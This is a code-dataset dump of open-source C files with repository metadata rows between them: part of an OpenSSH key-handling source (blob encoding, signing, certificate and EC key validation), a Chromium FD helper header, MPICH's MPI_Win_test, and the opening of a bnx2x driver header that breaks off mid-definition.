error("key_from_blob: cannot handle type %s", ktype); goto out; } if (key_is_cert(key) && cert_parse(&b, key, blob, blen) == -1) { error("key_from_blob: can't parse cert data"); goto badkey; } rlen = buffer_len(&b); if (key != NULL && rlen != 0) error("key_from_blob: remaining bytes in key blob %d", rlen); out: if (ktype != NULL) xfree(ktype); if (curve != NULL) xfree(curve); #ifdef OPENSSL_HAS_ECC if (q != NULL) EC_POINT_free(q); #endif buffer_free(&b); return key; } int key_to_blob(const Key *key, u_char **blobp, u_int *lenp) { Buffer b; int len; if (key == NULL) { error("key_to_blob: key == NULL"); return 0; } buffer_init(&b); switch (key->type) { case KEY_DSA_CERT_V00: case KEY_RSA_CERT_V00: case KEY_DSA_CERT: case KEY_ECDSA_CERT: case KEY_RSA_CERT: /* Use the existing blob */ buffer_append(&b, buffer_ptr(&key->cert->certblob), buffer_len(&key->cert->certblob)); break; case KEY_DSA: buffer_put_cstring(&b, key_ssh_name(key)); buffer_put_bignum2(&b, key->dsa->p); buffer_put_bignum2(&b, key->dsa->q); buffer_put_bignum2(&b, key->dsa->g); buffer_put_bignum2(&b, key->dsa->pub_key); break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA: buffer_put_cstring(&b, key_ssh_name(key)); buffer_put_cstring(&b, key_curve_nid_to_name(key->ecdsa_nid)); buffer_put_ecpoint(&b, EC_KEY_get0_group(key->ecdsa), EC_KEY_get0_public_key(key->ecdsa)); break; #endif case KEY_RSA: buffer_put_cstring(&b, key_ssh_name(key)); buffer_put_bignum2(&b, key->rsa->e); buffer_put_bignum2(&b, key->rsa->n); break; default: error("key_to_blob: unsupported key type %d", key->type); buffer_free(&b); return 0; } len = buffer_len(&b); if (lenp != NULL) *lenp = len; if (blobp != NULL) { *blobp = xmalloc(len); memcpy(*blobp, buffer_ptr(&b), len); } memset(buffer_ptr(&b), 0, len); buffer_free(&b); return len; } int key_sign( const Key *key, u_char **sigp, u_int *lenp, const u_char *data, u_int datalen) { switch (key->type) { case KEY_DSA_CERT_V00: case KEY_DSA_CERT: case KEY_DSA: return ssh_dss_sign(key, sigp, lenp, data, datalen); #ifdef OPENSSL_HAS_ECC case KEY_ECDSA_CERT: case KEY_ECDSA: return ssh_ecdsa_sign(key, sigp, lenp, data, datalen); #endif case KEY_RSA_CERT_V00: case KEY_RSA_CERT: case KEY_RSA: return ssh_rsa_sign(key, sigp, lenp, data, datalen); default: error("key_sign: invalid key type %d", key->type); return -1; } } /* * key_verify returns 1 for a correct signature, 0 for an incorrect signature * and -1 on error. */ int key_verify( const Key *key, const u_char *signature, u_int signaturelen, const u_char *data, u_int datalen) { if (signaturelen == 0) return -1; switch (key->type) { case KEY_DSA_CERT_V00: case KEY_DSA_CERT: case KEY_DSA: return ssh_dss_verify(key, signature, signaturelen, data, datalen); #ifdef OPENSSL_HAS_ECC case KEY_ECDSA_CERT: case KEY_ECDSA: return ssh_ecdsa_verify(key, signature, signaturelen, data, datalen); #endif case KEY_RSA_CERT_V00: case KEY_RSA_CERT: case KEY_RSA: return ssh_rsa_verify(key, signature, signaturelen, data, datalen); default: error("key_verify: invalid key type %d", key->type); return -1; } } /* Converts a private to a public key */ Key * key_demote(const Key *k) { Key *pk; pk = xcalloc(1, sizeof(*pk)); pk->type = k->type; pk->flags = k->flags; pk->ecdsa_nid = k->ecdsa_nid; pk->dsa = NULL; pk->ecdsa = NULL; pk->rsa = NULL; switch (k->type) { case KEY_RSA_CERT_V00: case KEY_RSA_CERT: key_cert_copy(k, pk); /* FALLTHROUGH */ case KEY_RSA1: case KEY_RSA: if ((pk->rsa = RSA_new()) == NULL) fatal("key_demote: RSA_new failed"); if ((pk->rsa->e = BN_dup(k->rsa->e)) == NULL) fatal("key_demote: BN_dup failed"); if ((pk->rsa->n = BN_dup(k->rsa->n)) == NULL) fatal("key_demote: BN_dup failed"); break; case KEY_DSA_CERT_V00: case KEY_DSA_CERT: key_cert_copy(k, pk); /* FALLTHROUGH */ case KEY_DSA: if ((pk->dsa = DSA_new()) == NULL) fatal("key_demote: DSA_new failed"); if ((pk->dsa->p = BN_dup(k->dsa->p)) == NULL) fatal("key_demote: BN_dup failed"); if ((pk->dsa->q = BN_dup(k->dsa->q)) == NULL) fatal("key_demote: BN_dup failed"); if ((pk->dsa->g = BN_dup(k->dsa->g)) == NULL) fatal("key_demote: BN_dup failed"); if ((pk->dsa->pub_key = BN_dup(k->dsa->pub_key)) == NULL) fatal("key_demote: BN_dup failed"); break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA_CERT: key_cert_copy(k, pk); /* FALLTHROUGH */ case KEY_ECDSA: if ((pk->ecdsa = EC_KEY_new_by_curve_name(pk->ecdsa_nid)) == NULL) fatal("key_demote: EC_KEY_new_by_curve_name failed"); if (EC_KEY_set_public_key(pk->ecdsa, EC_KEY_get0_public_key(k->ecdsa)) != 1) fatal("key_demote: EC_KEY_set_public_key failed"); break; #endif default: fatal("key_free: bad key type %d", k->type); break; } return (pk); } int key_is_cert(const Key *k) { if (k == NULL) return 0; switch (k->type) { case KEY_RSA_CERT_V00: case KEY_DSA_CERT_V00: case KEY_RSA_CERT: case KEY_DSA_CERT: case KEY_ECDSA_CERT: return 1; default: return 0; } } /* Return the cert-less equivalent to a certified key type */ int key_type_plain(int type) { switch (type) { case KEY_RSA_CERT_V00: case KEY_RSA_CERT: return KEY_RSA; case KEY_DSA_CERT_V00: case KEY_DSA_CERT: return KEY_DSA; case KEY_ECDSA_CERT: return KEY_ECDSA; default: return type; } } /* Convert a KEY_RSA or KEY_DSA to their _CERT equivalent */ int key_to_certified(Key *k, int legacy) { switch (k->type) { case KEY_RSA: k->cert = cert_new(); k->type = legacy ? KEY_RSA_CERT_V00 : KEY_RSA_CERT; return 0; case KEY_DSA: k->cert = cert_new(); k->type = legacy ? KEY_DSA_CERT_V00 : KEY_DSA_CERT; return 0; case KEY_ECDSA: if (legacy) fatal("%s: legacy ECDSA certificates are not supported", __func__); k->cert = cert_new(); k->type = KEY_ECDSA_CERT; return 0; default: error("%s: key has incorrect type %s", __func__, key_type(k)); return -1; } } /* Convert a KEY_RSA_CERT or KEY_DSA_CERT to their raw key equivalent */ int key_drop_cert(Key *k) { switch (k->type) { case KEY_RSA_CERT_V00: case KEY_RSA_CERT: cert_free(k->cert); k->type = KEY_RSA; return 0; case KEY_DSA_CERT_V00: case KEY_DSA_CERT: cert_free(k->cert); k->type = KEY_DSA; return 0; case KEY_ECDSA_CERT: cert_free(k->cert); k->type = KEY_ECDSA; return 0; default: error("%s: key has incorrect type %s", __func__, key_type(k)); return -1; } } /* * Sign a KEY_RSA_CERT, KEY_DSA_CERT or KEY_ECDSA_CERT, (re-)generating * the signed certblob */ int key_certify(Key *k, Key *ca) { Buffer principals; u_char *ca_blob, *sig_blob, nonce[32]; u_int i, ca_len, sig_len; if (k->cert == NULL) { error("%s: key lacks cert info", __func__); return -1; } if (!key_is_cert(k)) { error("%s: certificate has unknown type %d", __func__, k->cert->type); return -1; } if (ca->type != KEY_RSA && ca->type != KEY_DSA && ca->type != KEY_ECDSA) { error("%s: CA key has unsupported type %s", __func__, key_type(ca)); return -1; } key_to_blob(ca, &ca_blob, &ca_len); buffer_clear(&k->cert->certblob); buffer_put_cstring(&k->cert->certblob, key_ssh_name(k)); /* -v01 certs put nonce first */ arc4random_buf(&nonce, sizeof(nonce)); if (!key_cert_is_legacy(k)) buffer_put_string(&k->cert->certblob, nonce, sizeof(nonce)); switch (k->type) { case KEY_DSA_CERT_V00: case KEY_DSA_CERT: buffer_put_bignum2(&k->cert->certblob, k->dsa->p); buffer_put_bignum2(&k->cert->certblob, k->dsa->q); buffer_put_bignum2(&k->cert->certblob, k->dsa->g); buffer_put_bignum2(&k->cert->certblob, k->dsa->pub_key); break; #ifdef OPENSSL_HAS_ECC case KEY_ECDSA_CERT: buffer_put_cstring(&k->cert->certblob, key_curve_nid_to_name(k->ecdsa_nid)); buffer_put_ecpoint(&k->cert->certblob, EC_KEY_get0_group(k->ecdsa), EC_KEY_get0_public_key(k->ecdsa)); break; #endif case KEY_RSA_CERT_V00: case KEY_RSA_CERT: buffer_put_bignum2(&k->cert->certblob, k->rsa->e); buffer_put_bignum2(&k->cert->certblob, k->rsa->n); break; default: error("%s: key has incorrect type %s", __func__, key_type(k)); buffer_clear(&k->cert->certblob); xfree(ca_blob); return -1; } /* -v01 certs have a serial number next */ if (!key_cert_is_legacy(k)) buffer_put_int64(&k->cert->certblob, k->cert->serial); buffer_put_int(&k->cert->certblob, k->cert->type); buffer_put_cstring(&k->cert->certblob, k->cert->key_id); buffer_init(&principals); for (i = 0; i < k->cert->nprincipals; i++) buffer_put_cstring(&principals, k->cert->principals[i]); buffer_put_string(&k->cert->certblob, buffer_ptr(&principals), buffer_len(&principals)); buffer_free(&principals); buffer_put_int64(&k->cert->certblob, k->cert->valid_after); buffer_put_int64(&k->cert->certblob, k->cert->valid_before); buffer_put_string(&k->cert->certblob, buffer_ptr(&k->cert->critical), buffer_len(&k->cert->critical)); /* -v01 certs have non-critical options here */ if (!key_cert_is_legacy(k)) { buffer_put_string(&k->cert->certblob, buffer_ptr(&k->cert->extensions), buffer_len(&k->cert->extensions)); } /* -v00 certs put the nonce at the end */ if (key_cert_is_legacy(k)) buffer_put_string(&k->cert->certblob, nonce, sizeof(nonce)); buffer_put_string(&k->cert->certblob, NULL, 0); /* reserved */ buffer_put_string(&k->cert->certblob, ca_blob, ca_len); xfree(ca_blob); /* Sign the whole mess */ if (key_sign(ca, &sig_blob, &sig_len, buffer_ptr(&k->cert->certblob), buffer_len(&k->cert->certblob)) != 0) { error("%s: signature operation failed", __func__); buffer_clear(&k->cert->certblob); return -1; } /* Append signature and we are done */ buffer_put_string(&k->cert->certblob, sig_blob, sig_len); xfree(sig_blob); return 0; } int key_cert_check_authority(const Key *k, int want_host, int require_principal, const char *name, const char **reason) { u_int i, principal_matches; time_t now = time(NULL); if (want_host) { if (k->cert->type != SSH2_CERT_TYPE_HOST) { *reason = "Certificate invalid: not a host certificate"; return -1; } } else { if (k->cert->type != SSH2_CERT_TYPE_USER) { *reason = "Certificate invalid: not a user certificate"; return -1; } } if (now < 0) { error("%s: system clock lies before epoch", __func__); *reason = "Certificate invalid: not yet valid"; return -1; } if ((u_int64_t)now < k->cert->valid_after) { *reason = "Certificate invalid: not yet valid"; return -1; } if ((u_int64_t)now >= k->cert->valid_before) { *reason = "Certificate invalid: expired"; return -1; } if (k->cert->nprincipals == 0) { if (require_principal) { *reason = "Certificate lacks principal list"; return -1; } } else if (name != NULL) { principal_matches = 0; for (i = 0; i < k->cert->nprincipals; i++) { if (strcmp(name, k->cert->principals[i]) == 0) { principal_matches = 1; break; } } if (!principal_matches) { *reason = "Certificate invalid: name is not a listed " "principal"; return -1; } } return 0; } int key_cert_is_legacy(Key *k) { switch (k->type) { case KEY_DSA_CERT_V00: case KEY_RSA_CERT_V00: return 1; default: return 0; } } /* XXX: these are really begging for a table-driven approach */ int key_curve_name_to_nid(const char *name) { #ifdef OPENSSL_HAS_ECC if (strcmp(name, "nistp256") == 0) return NID_X9_62_prime256v1; else if (strcmp(name, "nistp384") == 0) return NID_secp384r1; else if (strcmp(name, "nistp521") == 0) return NID_secp521r1; #endif debug("%s: unsupported EC curve name \"%.100s\"", __func__, name); return -1; } u_int key_curve_nid_to_bits(int nid) { switch (nid) { #ifdef OPENSSL_HAS_ECC case NID_X9_62_prime256v1: return 256; case NID_secp384r1: return 384; case NID_secp521r1: return 521; #endif default: error("%s: unsupported EC curve nid %d", __func__, nid); return 0; } } const char * key_curve_nid_to_name(int nid) { #ifdef OPENSSL_HAS_ECC if (nid == NID_X9_62_prime256v1) return "nistp256"; else if (nid == NID_secp384r1) return "nistp384"; else if (nid == NID_secp521r1) return "nistp521"; #endif error("%s: unsupported EC curve nid %d", __func__, nid); return NULL; } #ifdef OPENSSL_HAS_ECC const EVP_MD * key_ec_nid_to_evpmd(int nid) { int kbits = key_curve_nid_to_bits(nid); if (kbits == 0) fatal("%s: invalid nid %d", __func__, nid); /* RFC5656 section 6.2.1 */ if (kbits <= 256) return EVP_sha256(); else if (kbits <= 384) return EVP_sha384(); else return EVP_sha512(); } int key_ec_validate_public(const EC_GROUP *group, const EC_POINT *public) { BN_CTX *bnctx; EC_POINT *nq = NULL; BIGNUM *order, *x, *y, *tmp; int ret = -1; if ((bnctx = BN_CTX_new()) == NULL) fatal("%s: BN_CTX_new failed", __func__); BN_CTX_start(bnctx); /* * We shouldn't ever hit this case because bignum_get_ecpoint() * refuses to load GF2m points. */ if (EC_METHOD_get_field_type(EC_GROUP_method_of(group)) != NID_X9_62_prime_field) { error("%s: group is not a prime field", __func__); goto out; } /* Q != infinity */ if (EC_POINT_is_at_infinity(group, public)) { error("%s: received degenerate public key (infinity)", __func__); goto out; } if ((x = BN_CTX_get(bnctx)) == NULL || (y = BN_CTX_get(bnctx)) == NULL || (order = BN_CTX_get(bnctx)) == NULL || (tmp = BN_CTX_get(bnctx)) == NULL) fatal("%s: BN_CTX_get failed", __func__); /* log2(x) > log2(order)/2, log2(y) > log2(order)/2 */ if (EC_GROUP_get_order(group, order, bnctx) != 1) fatal("%s: EC_GROUP_get_order failed", __func__); if (EC_POINT_get_affine_coordinates_GFp(group, public, x, y, bnctx) != 1) fatal("%s: EC_POINT_get_affine_coordinates_GFp", __func__); if (BN_num_bits(x) <= BN_num_bits(order) / 2) { error("%s: public key x coordinate too small: " "bits(x) = %d, bits(order)/2 = %d", __func__, BN_num_bits(x), BN_num_bits(order) / 2); goto out; } if (BN_num_bits(y) <= BN_num_bits(order) / 2) { error("%s: public key y coordinate too small: " "bits(y) = %d, bits(order)/2 = %d", __func__, BN_num_bits(x), BN_num_bits(order) / 2); goto out; } /* nQ == infinity (n == order of subgroup) */ if ((nq = EC_POINT_new(group)) == NULL) fatal("%s: BN_CTX_tmp failed", __func__); if (EC_POINT_mul(group, nq, NULL, public, order, bnctx) != 1) fatal("%s: EC_GROUP_mul failed", __func__); if (EC_POINT_is_at_infinity(group, nq) != 1) { error("%s: received degenerate public key (nQ != infinity)", __func__); goto out; } /* x < order - 1, y < order - 1 */ if (!BN_sub(tmp, order, BN_value_one())) fatal("%s: BN_sub failed", __func__); if (BN_cmp(x, tmp) >= 0) { error("%s: public key x coordinate >= group order - 1", __func__); goto out; } if (BN_cmp(y, tmp) >= 0) { error("%s: public key y coordinate >= group order - 1", __func__); goto out; } ret = 0; out: BN_CTX_free(bnctx); EC_POINT_free(nq); return ret; } int key_ec_validate_private(const EC_KEY *key) { BN_CTX *bnctx; BIGNUM *order, *tmp; int ret = -1; if ((bnctx = BN_CTX_new()) == NULL) fatal("%s: BN_CTX_new failed", __func__); BN_CTX_start(bnctx); if ((order = BN_CTX_get(bnctx)) == NULL || (tmp = BN_CTX_get(bnctx)) == NULL) fatal("%s: BN_CTX_get failed", __func__); /* log2(private) > log2(order)/2 */ if (EC_GROUP_get_order(EC_KEY_get0_group(key), order, bnctx) != 1) fatal("%s: EC_GROUP_get_order failed", __func__); if (BN_num_bits(EC_KEY_get0_private_key(key)) <= BN_num_bits(order) / 2) { error("%s: private key too small: " "bits(y) = %d, bits(order)/2 = %d", __func__, BN_num_bits(EC_KEY_get0_private_key(key)), BN_num_bits(order) / 2); goto out; } /* private < order - 1 */ if (!BN_sub(tmp, order, BN_value_one())) fatal("%s: BN_sub failed", __func__); if (BN_cmp(EC_KEY_get0_private_key(key), tmp) >= 0) { error("%s: private key >= group order - 1", __func__); goto out; } ret = 0; out: BN_CTX_free(bnctx); return ret; } #if defined(DEBUG_KEXECDH) || defined(DEBUG_PK) void key_dump_ec_point(const EC_GROUP *group, const EC_POINT *point) { BIGNUM *x, *y; BN_CTX *bnctx; if (point == NULL) { fputs("point=(NULL)\n", stderr); return; } if ((bnctx = BN_CTX_new()) == NULL) fatal("%s: BN_CTX_new failed", __func__); BN_CTX_start(bnctx); if ((x = BN_CTX_get(bnctx)) == NULL || (y = BN_CTX_get(bnctx)) == NULL) fatal("%s: BN_CTX_get failed", __func__); if (EC_METHOD_get_field_type(EC_GROUP_method_of(group)) != NID_X9_62_prime_field) fatal("%s: group is not a prime field", __func__); if (EC_POINT_get_affine_coordinates_GFp(group, point, x, y, bnctx) != 1) fatal("%s: EC_POINT_get_affine_coordinates_GFp", __func__); fputs("x=", stderr); BN_print_fp(stderr, x); fputs("\ny=", stderr); BN_print_fp(stderr, y); fputs("\n", stderr); BN_CTX_free(bnctx); } void key_dump_ec_key(const EC_KEY *key) { const BIGNUM *exponent; key_dump_ec_point(EC_KEY_get0_group(key), EC_KEY_get0_public_key(key)); fputs("exponent=", stderr); if ((exponent = EC_KEY_get0_private_key(key)) == NULL) fputs("(NULL)", stderr); else BN_print_fp(stderr, EC_KEY_get0_private_key(key)); fputs("\n", stderr); } #endif /* defined(DEBUG_KEXECDH) || defined(DEBUG_PK) */ #endif /* OPENSSL_HAS_ECC */
24.765976
78
0.653806
[ "object", "vector" ]
5cc8086c499a2fa60b0b6ba577b16a2bcdb26647
970
h
C
media/base/scopedfd_helper.h
Ron423c/chromium
2edf7b980065b648f8b2a6e52193d83832fe36b7
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
575
2015-06-18T23:58:20.000Z
2022-03-23T09:32:39.000Z
media/base/scopedfd_helper.h
Ron423c/chromium
2edf7b980065b648f8b2a6e52193d83832fe36b7
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
113
2015-05-04T09:58:14.000Z
2022-01-31T19:35:03.000Z
media/base/scopedfd_helper.h
DamieFC/chromium
54ce2d3c77723697efd22cfdb02aea38f9dfa25c
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
52
2015-07-14T10:40:50.000Z
2022-03-15T01:11:49.000Z
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef MEDIA_BASE_SCOPEDFD_HELPER_H_ #define MEDIA_BASE_SCOPEDFD_HELPER_H_ #include "base/files/scoped_file.h" #include "media/base/media_export.h" namespace media { // Theoretically, we can test on defined(OS_POSIX) || defined(OS_FUCHSIA), but // since the only current user is V4L2 we are limiting the scope to OS_LINUX so // the binary size does not inflate on non-using systems. Feel free to adapt // this and BUILD.gn as our needs evolve. #if defined(OS_LINUX) || defined(OS_CHROMEOS) // Return a new vector containing duplicates of |fds|, or PCHECKs in case of an // error. MEDIA_EXPORT std::vector<base::ScopedFD> DuplicateFDs( const std::vector<base::ScopedFD>& fds); #endif // defined(OS_LINUX) || defined(OS_CHROMEOS) } // namespace media #endif // MEDIA_BASE_SCOPEDFD_HELPER_H_
33.448276
79
0.758763
[ "vector" ]
5cc9d7c83b38df14ed7addd51840f1542f1ba80a
3,281
c
C
mpich-3.3/src/mpi/rma/win_test.c
ucd-plse/mpi-error-prop
4367df88bcdc4d82c9a65b181d0e639d04962503
[ "BSD-3-Clause" ]
3
2020-05-22T04:17:23.000Z
2020-07-17T04:14:25.000Z
mpich-3.3/src/mpi/rma/win_test.c
ucd-plse/mpi-error-prop
4367df88bcdc4d82c9a65b181d0e639d04962503
[ "BSD-3-Clause" ]
null
null
null
mpich-3.3/src/mpi/rma/win_test.c
ucd-plse/mpi-error-prop
4367df88bcdc4d82c9a65b181d0e639d04962503
[ "BSD-3-Clause" ]
null
null
null
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil ; -*- */ /* * * (C) 2001 by Argonne National Laboratory. * See COPYRIGHT in top-level directory. */ #include "mpiimpl.h" /* -- Begin Profiling Symbol Block for routine MPI_Win_test */ #if defined(HAVE_PRAGMA_WEAK) #pragma weak MPI_Win_test = PMPI_Win_test #elif defined(HAVE_PRAGMA_HP_SEC_DEF) #pragma _HP_SECONDARY_DEF PMPI_Win_test MPI_Win_test #elif defined(HAVE_PRAGMA_CRI_DUP) #pragma _CRI duplicate MPI_Win_test as PMPI_Win_test #elif defined(HAVE_WEAK_ATTRIBUTE) int MPI_Win_test(MPI_Win win, int *flag) __attribute__ ((weak, alias("PMPI_Win_test"))); #endif /* -- End Profiling Symbol Block */ /* Define MPICH_MPI_FROM_PMPI if weak symbols are not supported to build the MPI routines */ #ifndef MPICH_MPI_FROM_PMPI #undef MPI_Win_test #define MPI_Win_test PMPI_Win_test #endif #undef FUNCNAME #define FUNCNAME MPI_Win_test #undef FCNAME #define FCNAME MPL_QUOTE(FUNCNAME) /*@ MPI_Win_test - Test whether an RMA exposure epoch has completed Input Parameters: . win - window object (handle) Output Parameters: . flag - success flag (logical) Notes: This is the nonblocking version of 'MPI_Win_wait'. .N ThreadSafe .N Fortran .N Errors .N MPI_SUCCESS .N MPI_ERR_WIN .N MPI_ERR_OTHER .N MPI_ERR_ARG .seealso: MPI_Win_wait, MPI_Win_post @*/ int MPI_Win_test(MPI_Win win, int *flag) { int mpi_errno = MPI_SUCCESS; MPIR_Win *win_ptr = NULL; MPIR_FUNC_TERSE_STATE_DECL(MPID_STATE_MPI_WIN_TEST); MPIR_ERRTEST_INITIALIZED_ORDIE(); MPID_THREAD_CS_ENTER(GLOBAL, MPIR_THREAD_GLOBAL_ALLFUNC_MUTEX); MPIR_FUNC_TERSE_ENTER(MPID_STATE_MPI_WIN_TEST); /* Validate parameters, especially handles needing to be converted */ #ifdef HAVE_ERROR_CHECKING { MPID_BEGIN_ERROR_CHECKS; { MPIR_ERRTEST_WIN(win, mpi_errno); } MPID_END_ERROR_CHECKS; } #endif /* HAVE_ERROR_CHECKING */ /* Convert MPI object handles to object pointers */ MPIR_Win_get_ptr(win, win_ptr); #ifdef HAVE_ERROR_CHECKING { MPID_BEGIN_ERROR_CHECKS; { /* Validate win_ptr */ MPIR_Win_valid_ptr(win_ptr, mpi_errno); if (mpi_errno) goto fn_fail; /* If win_ptr is not valid, it will be reset to null */ MPIR_ERRTEST_ARGNULL(flag, "flag", mpi_errno); /* TODO: Ensure that window is in a PSCW active mode epoch */ } MPID_END_ERROR_CHECKS; } #endif /* HAVE_ERROR_CHECKING */ /* ... body of routine ... */ mpi_errno = MPID_Win_test(win_ptr, flag); if (mpi_errno != MPI_SUCCESS) goto fn_fail; /* ... end of body of routine ... */ fn_exit: MPIR_FUNC_TERSE_EXIT(MPID_STATE_MPI_WIN_TEST); MPID_THREAD_CS_EXIT(GLOBAL, MPIR_THREAD_GLOBAL_ALLFUNC_MUTEX); return mpi_errno; fn_fail: /* --BEGIN ERROR HANDLING-- */ #ifdef HAVE_ERROR_CHECKING { mpi_errno = MPIR_Err_create_code(mpi_errno, MPIR_ERR_RECOVERABLE, FCNAME, __LINE__, MPI_ERR_OTHER, "**mpi_win_test", "**mpi_win_test %W %p", win, flag); } #endif mpi_errno = MPIR_Err_return_win(win_ptr, FCNAME, mpi_errno); goto fn_exit; /* --END ERROR HANDLING-- */ }
26.039683
98
0.688205
[ "object" ]
5cce66474e0a6935eeb14bc4c12c8d06414d4723
257,011
h
C
libmoon/deps/dpdk/drivers/net/bnx2x/ecore_hsi.h
anonReview/Implementation
b86e0c48a1a9183a143687a2875b160504bcb202
[ "MIT" ]
287
2017-12-17T14:48:00.000Z
2022-03-28T06:12:07.000Z
libmoon/deps/dpdk/drivers/net/bnx2x/ecore_hsi.h
anonReview/Implementation
b86e0c48a1a9183a143687a2875b160504bcb202
[ "MIT" ]
18
2017-12-18T15:50:59.000Z
2020-05-14T09:19:38.000Z
libmoon/deps/dpdk/drivers/net/bnx2x/ecore_hsi.h
anonReview/Implementation
b86e0c48a1a9183a143687a2875b160504bcb202
[ "MIT" ]
109
2017-12-19T03:42:09.000Z
2022-03-25T11:25:39.000Z
/*- * Copyright (c) 2007-2013 QLogic Corporation. All rights reserved. * * Eric Davis <edavis@broadcom.com> * David Christensen <davidch@broadcom.com> * Gary Zambrano <zambrano@broadcom.com> * * Copyright (c) 2014-2015 QLogic Corporation. * All rights reserved. * www.qlogic.com * * See LICENSE.bnx2x_pmd for copyright and licensing details. */ #ifndef ECORE_HSI_H #define ECORE_HSI_H #define FW_ENCODE_32BIT_PATTERN 0x1e1e1e1e struct license_key { uint32_t reserved[6]; uint32_t max_iscsi_conn; #define LICENSE_MAX_ISCSI_TRGT_CONN_MASK 0xFFFF #define LICENSE_MAX_ISCSI_TRGT_CONN_SHIFT 0 #define LICENSE_MAX_ISCSI_INIT_CONN_MASK 0xFFFF0000 #define LICENSE_MAX_ISCSI_INIT_CONN_SHIFT 16 uint32_t reserved_a; uint32_t max_fcoe_conn; #define LICENSE_MAX_FCOE_TRGT_CONN_MASK 0xFFFF #define LICENSE_MAX_FCOE_TRGT_CONN_SHIFT 0 #define LICENSE_MAX_FCOE_INIT_CONN_MASK 0xFFFF0000 #define LICENSE_MAX_FCOE_INIT_CONN_SHIFT 16 uint32_t reserved_b[4]; }; typedef struct license_key license_key_t; /**************************************************************************** * Shared HW configuration * ****************************************************************************/ #define PIN_CFG_NA 0x00000000 #define PIN_CFG_GPIO0_P0 0x00000001 #define PIN_CFG_GPIO1_P0 0x00000002 #define PIN_CFG_GPIO2_P0 0x00000003 #define PIN_CFG_GPIO3_P0 0x00000004 #define PIN_CFG_GPIO0_P1 0x00000005 #define PIN_CFG_GPIO1_P1 0x00000006 #define PIN_CFG_GPIO2_P1 0x00000007 #define PIN_CFG_GPIO3_P1 0x00000008 #define PIN_CFG_EPIO0 0x00000009 #define PIN_CFG_EPIO1 0x0000000a #define PIN_CFG_EPIO2 0x0000000b #define PIN_CFG_EPIO3 0x0000000c #define PIN_CFG_EPIO4 0x0000000d #define PIN_CFG_EPIO5 0x0000000e #define PIN_CFG_EPIO6 0x0000000f #define PIN_CFG_EPIO7 0x00000010 #define PIN_CFG_EPIO8 0x00000011 #define PIN_CFG_EPIO9 0x00000012 #define PIN_CFG_EPIO10 0x00000013 #define PIN_CFG_EPIO11 0x00000014 #define PIN_CFG_EPIO12 0x00000015 #define PIN_CFG_EPIO13 0x00000016 #define PIN_CFG_EPIO14 0x00000017 #define PIN_CFG_EPIO15 0x00000018 #define PIN_CFG_EPIO16 0x00000019 #define PIN_CFG_EPIO17 0x0000001a #define PIN_CFG_EPIO18 0x0000001b #define PIN_CFG_EPIO19 0x0000001c #define PIN_CFG_EPIO20 0x0000001d #define PIN_CFG_EPIO21 0x0000001e #define PIN_CFG_EPIO22 0x0000001f #define PIN_CFG_EPIO23 0x00000020 #define PIN_CFG_EPIO24 0x00000021 #define PIN_CFG_EPIO25 0x00000022 #define PIN_CFG_EPIO26 0x00000023 #define PIN_CFG_EPIO27 0x00000024 #define PIN_CFG_EPIO28 0x00000025 #define PIN_CFG_EPIO29 0x00000026 #define PIN_CFG_EPIO30 0x00000027 #define PIN_CFG_EPIO31 0x00000028 /* EPIO definition */ #define EPIO_CFG_NA 0x00000000 #define EPIO_CFG_EPIO0 0x00000001 #define EPIO_CFG_EPIO1 0x00000002 #define EPIO_CFG_EPIO2 0x00000003 #define EPIO_CFG_EPIO3 0x00000004 #define EPIO_CFG_EPIO4 0x00000005 #define EPIO_CFG_EPIO5 0x00000006 #define EPIO_CFG_EPIO6 0x00000007 #define EPIO_CFG_EPIO7 0x00000008 #define EPIO_CFG_EPIO8 0x00000009 #define EPIO_CFG_EPIO9 0x0000000a #define EPIO_CFG_EPIO10 0x0000000b #define EPIO_CFG_EPIO11 0x0000000c #define EPIO_CFG_EPIO12 0x0000000d #define EPIO_CFG_EPIO13 0x0000000e #define EPIO_CFG_EPIO14 0x0000000f #define EPIO_CFG_EPIO15 0x00000010 #define EPIO_CFG_EPIO16 0x00000011 #define EPIO_CFG_EPIO17 0x00000012 #define EPIO_CFG_EPIO18 0x00000013 #define EPIO_CFG_EPIO19 0x00000014 #define EPIO_CFG_EPIO20 0x00000015 #define EPIO_CFG_EPIO21 0x00000016 #define EPIO_CFG_EPIO22 0x00000017 #define EPIO_CFG_EPIO23 0x00000018 #define EPIO_CFG_EPIO24 0x00000019 #define EPIO_CFG_EPIO25 0x0000001a #define EPIO_CFG_EPIO26 0x0000001b #define EPIO_CFG_EPIO27 0x0000001c #define EPIO_CFG_EPIO28 0x0000001d #define EPIO_CFG_EPIO29 0x0000001e #define EPIO_CFG_EPIO30 0x0000001f #define EPIO_CFG_EPIO31 0x00000020 struct mac_addr { uint32_t upper; uint32_t lower; }; struct shared_hw_cfg { /* NVRAM Offset */ /* Up to 16 bytes of NULL-terminated string */ uint8_t part_num[16]; /* 0x104 */ uint32_t config; /* 0x114 */ #define SHARED_HW_CFG_MDIO_VOLTAGE_MASK 0x00000001 #define SHARED_HW_CFG_MDIO_VOLTAGE_SHIFT 0 #define SHARED_HW_CFG_MDIO_VOLTAGE_1_2V 0x00000000 #define SHARED_HW_CFG_MDIO_VOLTAGE_2_5V 0x00000001 #define SHARED_HW_CFG_PORT_SWAP 0x00000004 #define SHARED_HW_CFG_BEACON_WOL_EN 0x00000008 #define SHARED_HW_CFG_PCIE_GEN3_DISABLED 0x00000000 #define SHARED_HW_CFG_PCIE_GEN3_ENABLED 0x00000010 #define SHARED_HW_CFG_MFW_SELECT_MASK 0x00000700 #define SHARED_HW_CFG_MFW_SELECT_SHIFT 8 /* Whatever MFW found in NVM (if multiple found, priority order is: NC-SI, UMP, IPMI) */ #define SHARED_HW_CFG_MFW_SELECT_DEFAULT 0x00000000 #define SHARED_HW_CFG_MFW_SELECT_NC_SI 0x00000100 #define SHARED_HW_CFG_MFW_SELECT_UMP 0x00000200 #define SHARED_HW_CFG_MFW_SELECT_IPMI 0x00000300 /* Use SPIO4 as an arbiter between: 0-NC_SI, 1-IPMI (can only be used when an add-in board, not BMC, pulls-down SPIO4) */ #define SHARED_HW_CFG_MFW_SELECT_SPIO4_NC_SI_IPMI 